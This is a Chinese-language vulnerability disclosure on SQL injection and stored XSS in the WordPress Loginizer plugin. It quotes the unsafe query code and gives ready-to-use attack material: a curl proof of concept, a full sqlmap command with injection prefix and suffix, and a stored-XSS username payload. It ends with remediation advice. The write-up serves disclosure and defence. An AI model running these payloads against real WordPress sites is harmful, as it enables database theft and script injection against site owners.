WordPress插件 Loginizer > 1.6.4 存在SQL注入漏洞
WP的Loginizer安全插件,该插件可保护网站免受暴力攻击(非常需要的功能),并以“双因素验证”,“ reCAPTCHA”,“ PasswordLess Login”的形式提供额外的亮点……最近,我在插件代码中进行了一些检查几乎没有发现安全问题,例如通向SQLi的两条路径和一条XSS。除了过去曾经对插件代码进行过审核(在下文中有更多有关此事实)的事实外,代码中的问题仍然非常严重。
Eli5 PoC
插件计算失败的登录尝试次数wp_login_failed,wp_authenticate例如在XMLRPC和Web界面中执行身份验证的官方wp方法中,调用失败。在wp_signon中,我们没有削减用户名/密码对(对于XMLRPC则不是这样),并且像这样发送给wp_authenticate。在这里,我们有一个简单的方法sanitize_user,当使用$strict = false默认参数值调用该方法时,它是没有用的。因此,未受保护的$username功能会朝着挂钩的任何功能发展wp_login_failed。在Loginizer中:
- add_action('wp_login_failed', 'loginizer_login_failed');
通过函数定义,我们可以看到raw如何$username达到插件功能:
- function loginizer_login_failed($username, $is_2fa = ''){
- global $wpdb, $loginizer, $lz_cannot_login;
- ...
此外,在此函数中,还会使用未清除的DB参数调用DB:
- ...
- $result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` WHERE `ip` = '".$loginizer['current_ip']."';");
- ...
- $sresult = $wpdb->query("UPDATE `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = `count`+1, `lockout` = '".$lockout."', `url` = '".$url."' WHERE `ip` = '".$loginizer['current_ip']."';");
- ...
- $insert = $wpdb->query("INSERT INTO `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = '1', `ip` = '".$loginizer['current_ip']."', `lockout` = '0', `url` = '".$url."';");
并且我们根据用户登录数据看到了SQLi容易受到攻击的地方。如果您监视error_logs,则最简单的PoC为:
- curl 'http://www.secvery.com/wp-login.php' --data-raw 'log=test%27loginizer&pwd=fdsfsdfs&wp-submit=Log+In&redirect_to=&testcookie=1'
并且在error_log中,您将看到
- [Mon Oct 19 13:20:27.425151 2020] [php7:notice] [pid 129822] [client 127.0.0.1:37896] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'loginizer', `time` = '1603106427', `count` = '1', `ip` = '127.0.0.1', `lo' at line 1 for query INSERT INTO `wp_loginizer_logs` SET `username` = 'test'loginizer', `time` = '1603106427', ...
这意味着我们不会在insert语句中插入SQLi ,因为在这种情况下会出错,但是在真正的攻击ip值的情况下,可以很容易地改写并且将无用的数据填充到记录器表中。更加隐蔽的方法是将sqli用作update声明。
- python3 sqlmap.py -u http://local.target/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeeply" --dbms mysql --technique=T --time-sec=1 --current-db --current-user
作为此SQLi的补充,在代码中,以下用于在管理区域中打印输出:
- // Get the logs
- $result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs`
- ORDER BY `time` DESC
- LIMIT ".$lz_env['cur_page'].", ".$lz_env['res_len']."", 1);
- ...
- foreach($result as $ik => $iv){
- $status_button = (!empty($iv['status']) ? 'disable' : 'enable');
- echo '
- <tr>
- <td>
- <input type="checkbox" value="'.$iv['ip'].'" name="lz_reset_ips[]" />
- </td>
- <td>
- '.$iv['ip'].'
- </td>
- <td>
- '.$iv['username'].'
- </td>
因此,除了sanitize_user函数剥离标签的事实之外,当我们进入SQL机制时,我们也可以选择存储XSS攻击:
- test',ip=concat(char(60),'b',char(62),'wpdeeply',char(60),char(47),'b',char(62),'-',LEFT(UUID(),8)) -- wpdeeply
就是这样,通过轻松,详细地了解SQLi + XSS $username。
如何修复
更新Loginizer插件并继续使用,它是一款很好且有用的软件。
使用准备好的数据库语句。
关闭生产环境中的自动更新,并从阶段开始进行活动安装。它既涉及隐私,也涉及安全性。
原创文章,作者: Admin ,转载请注明出处:https://secvery.com/3097.html